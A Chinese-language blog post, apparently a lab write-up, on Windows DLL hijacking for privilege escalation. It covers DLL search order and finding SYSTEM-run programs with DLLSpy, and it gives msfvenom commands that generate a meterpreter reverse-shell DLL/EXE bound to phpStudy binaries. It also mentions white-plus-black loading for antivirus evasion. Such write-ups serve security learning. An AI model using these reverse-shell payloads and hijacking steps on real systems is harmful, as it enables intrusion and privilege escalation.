关于dll劫持我的奇思妙想(一)
0x00 前言
前段时间在研究着windows底层的一些东西,发现这个dll劫持一直没有做过,根据倾旋师傅的视频和文章做了一系列的研究,然后就突发来了兴致研究一些dll劫持提权。
0x01 了解dll
动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。
例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。
因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。
通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计帐程序可以按模块来销售。
可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。
因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。
简单点来说就是exe的一些功能被分离出来,分离到dll文件里面,使用到的时候直接调用dll文件,windows大部分需要调用的api都写入到了dll文件当中。
0x02 dll的加载
windows会根据程序对应的目录来加载依次是该应用的程序目录>>system32目录>> windows目录>>加载dll的当前所在目录>>PATH 变量环境目录
0x03 dll劫持原理
dll劫持的原理其实就是在程序执行前把他原本的dll文件替换成我们恶意的dll文件,使程序加载我们的dll文件,这时候如果该程序是以system权限来运行的话,那么我们就可以直接拿到一个system权限的sessions。在我们的一些免杀文章中也会看到我们经常会用到白加黑让一个白名单的exe去加载一个恶意的dll文件,这时候就实现了免杀的效果。
这时候我们要考虑的几个点是我们该应该替换哪些dll文件,有什么限制,怎么去替换。
这里先来讲到替换这方面,其他的后面都讲到。
方法1:如果说我们在真实环境下,直接替换dll文件,那么可能可以直接提权成功,但是他的程序会产生错误 无法正常运行。
方法2:恶意dll文件替换在本地目录,正常dll文件放在他的下一个加载目录下,也就是system32目录,这时候我们要做的是把恶意dll加载完成后再去加载下一个加载目录找到我们正常的dll文件,进行加载。这样的话,他的功能就正常的被运行,但是由于我是菜鸡,不会写那个东西,想法不成立。
方法3:直接把正常dll文件和恶意dll文件捆绑在一起,msf貌似能实现。
(目前思路就这么多,待补充)
0x04 dll劫持的限制
dll劫持的话,要考虑的几个点:
如果说一个第三方exe程序,调用的全是windows自带的dll文件,那么我们如果想去替换windows的dll文件的话肯定是不成立的,首先考虑到我们现在要做的是提权,那么权限肯定比较低,替换不了。
直接替换windows自带dll的话肯定会导致系统出现问题。
如果说要替换的话那么肯定要有读写权限 否则我们的恶意dll无法写入。
总结:需要dll劫持需要该程序加载到当前程序目录的dll文件,并且该文件目录有读写权限。
0x04 dll劫持实现
我们现在已经分析完了一波,现在就开始操作。
首先要寻找一个高权限运行、加载程序目录dll文件并且有读取权限的程序。
我们要查找哪些 程序以system权限在运行
tasklist /v

因为是靶机环境,没有安装太多的程序,第三方的服务只有phpstudy是system权限。
这时候我们需要一个查看dll文件加载工具,前面寻找到一个process monitor的工具发现是图形化的不利于渗透。
后来找了个DLLSpy.exe 命令行工具来分析dll的加载。
github地址:
https://github.com/cyberark/DLLSpy
命令参数
-d: 必须扫描加载的模块。
-o: 指定输出文件。
-s: 静态扫描,在二进制文件中查找丢失的dll和dll
-r<number>:递归扫描,“number”是递归的深度。
我们来用蚁剑上传到我们的靶机上面。
输入命令
DLLSpy.exe -d
这时候就会查找我们所有程序加载的dll文件。命令执行完后会生成一个csv的表格文件来下载到本地打开分析一下哪些程序会加载目录下的dll文件。

这里可以看到
phpstudy加载的全是程序目录的dll文件,现在目录所在的地址也爆出来了,省了找程序目录的麻烦。
这里我提取了个quazip.dll 出来,然后启动msf进行生成。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.110 LPORT= -f dll -x quazip.dll > .dll
生成后发现报错,显示 "错误:无效的PE EXE subst模板:缺少“PAYLOAD:”标记" 。dll不能指定模板生成。如果不能的话我们想要捆绑还得了解底层自己构造。果断放弃。在后来和团队小伙伴讨论下,如果想实现可以直接通过dll注入来实现。
方法4:突发奇想的一个思路,如果说dll无法捆绑的话,exe肯定可以捆绑,我们可以利用主程序调用的exe程序来启动我们的捆绑的exe程序,那么他一样以system权限启动。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.110 LPORT= -f exe -x phpStudyIni.exe> .exe
生成后直接用重命名的方式发原来的exe重命名 然后把我捆绑的exe命名为phpStudyIni.exe 然后点击退出程序,启动监听,重新运行。
点击后运行失败,无法回连,通过与团队小伙伴的讨论,发现我的思路有误区。
首先 第一直接替换dll文件程序肯定无法正常执行,虽然说能直接提权成功。第二个如果安装刚刚的思路来捆绑肯定是不行的,需要使用到dll注入把恶意代码注入到原来的dll文件里面,这个可以使用msf的模块或者是
Remote DLL Injector工具进行注入,这样就可以完成一个dll劫持了。
下篇文章给再更新具体的实现方式。
0x04 尾声
渗透在于折腾,要敢于多做尝试,梦想还是要有的,哪怕不是用来实现的。在这里再次感谢团队小伙伴对我这个菜鸡各种无脑问题进行解答。如果师傅们有更好的思路可以和我多交流。
关于dll劫持我的奇思妙想(一)的更多相关文章
- 原创QQ影音DLL劫持漏洞+动画实战教程
1.什么是DLL DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成 ...
- dll劫持技术
DLL劫持技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中. DLL劫持原理 ...
- DLL搜索路径和DLL劫持
DLL搜索路径和DLL劫持 环境:XP SP3 VS2005 作者:magictong 为什么要把DLL搜索路径(DLL ORDER)和DLL劫持(DLL Hajack)拿到一起讲呢?呵呵,其实没啥深 ...
- Linux 动态链接库 - dll劫持
如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...
- 老树开新花:DLL劫持漏洞新玩法
本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...
- Dll劫持漏洞详解
一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...
- [转载]DLL劫持生成器 源码开放(纯WINDOWS SDK)+ 实例分析
本菜最近学习了什么DLL注入啊,hook啊(r3)的相关技术,觉得很好玩,于是深入发现还有DLL劫持这种东西觉得挺好玩的,加上最近看到各种木马分析报告中都还有发现有利用白加黑的现象.于是自己想找几个来 ...
- 36.浅谈DLL劫持
最近在搞内网,需要实现免杀后门,大佬推荐了dll劫持,DLL劫持后,能干很多事情,比如杀软对某些厂商的软件是实行白名单的,你干些敏感操作都是不拦截,不提示的.还有留后门,提权等等.本文主要介绍如何检测 ...
- dll劫持破坏360
0x01 前言 说起DLL劫持技术,相信大家都不会陌生,因为这种技术的应用比较广泛,比如木马后门的启动.破解程序的内存补丁.外挂插件的注入以及加密狗的模拟等.之所以DLL劫持技术深受黑客们的喜爱,主要 ...
随机推荐
- 零基础JavaScript编码(二)
任务目的 在上一任务基础上继续JavaScript的体验 学习JavaScript中的if判断语法,for循环语法 学习JavaScript中的数组对象 学习如何读取.处理数据,并动态创建.修改DOM ...
- ts文件的编译和运行
hello.ts代码 function sayHello(person: string): string { return 'Hello, ' + person; } let user = 'Tom' ...
- R|生存分析 - KM曲线 ,值得拥有姓名和颜值
本文首发于“生信补给站”:https://mp.weixin.qq.com/s/lpkWwrLNtkLH8QA75X5STw 生存分析作为分析疾病/癌症预后的出镜频率超高的分析手段,而其结果展示的KM ...
- Java基础面试系列(一)
Java基础面试总结(一) 1. 面向对象和面向过程的区别 面向过程 面向对象 性能 高于面向对象 类加载的时候需要实例化,比较消耗资源 三易(易维护,易复用,易扩展) 不如面向对象 具有封装,继承, ...
- 修改webserver站点用户组权限
例如webserver站点目录为webtest 搭建nginxwebserver服务器的时候,默认的用户和用户组权限为nginx:nginx, 即nginx.conf 和php-frm.conf 中默 ...
- 【ERROR 1064 (42000)】MySQL中使用mysqladmin或set修改root密码时提示语法错误
报错信息: mysql> mysqladmin -uroot -p123456 password 654321; ERROR 1064 (42000): You have an error in ...
- 【JAVA进阶架构师指南】之一:如何进行架构设计
前言 本博客是长篇系列博客,旨在帮助想提升自己,突破技术瓶颈,但又苦于不知道如何进行系统学习从而提升自己的童鞋.笔者假设读者具有3-5年开发经验,java基础扎实,想突破自己的技术瓶颈,成为一位优 ...
- connection closed by foreign host / Permissions 0620 for '/etc/ssh/ssh_host_ed25519_key' are too open 解决方案
发生此次故障的原因: 在文件夹授权时 错误的执行了 chmod -R 755 / 本来只想授权当前文件夹的 结果... 然后就导致xshell连不上了 懵逼... 解决方案 将权限收回: 执行: ch ...
- 从零开始学习R语言(四)——数据结构之“数组(Array)”
本文首发于知乎专栏:https://zhuanlan.zhihu.com/p/60141207 也同步更新于我的个人博客:https://www.cnblogs.com/nickwu/p/125677 ...
- Flutter 实现不同样式(有样式) 的TextField (可自定义),类似微博#话题#、@用户,(给TextField加TextSpan)
描述 先上效果图 在项目中,有 @ 和 话题功能,需要在编辑时即可回显,但是官方原生的TextField不支持对部分文字定义不同的样式,所以封装了一个. 注意:这不是富文本插件,不支持在输入框中显示图 ...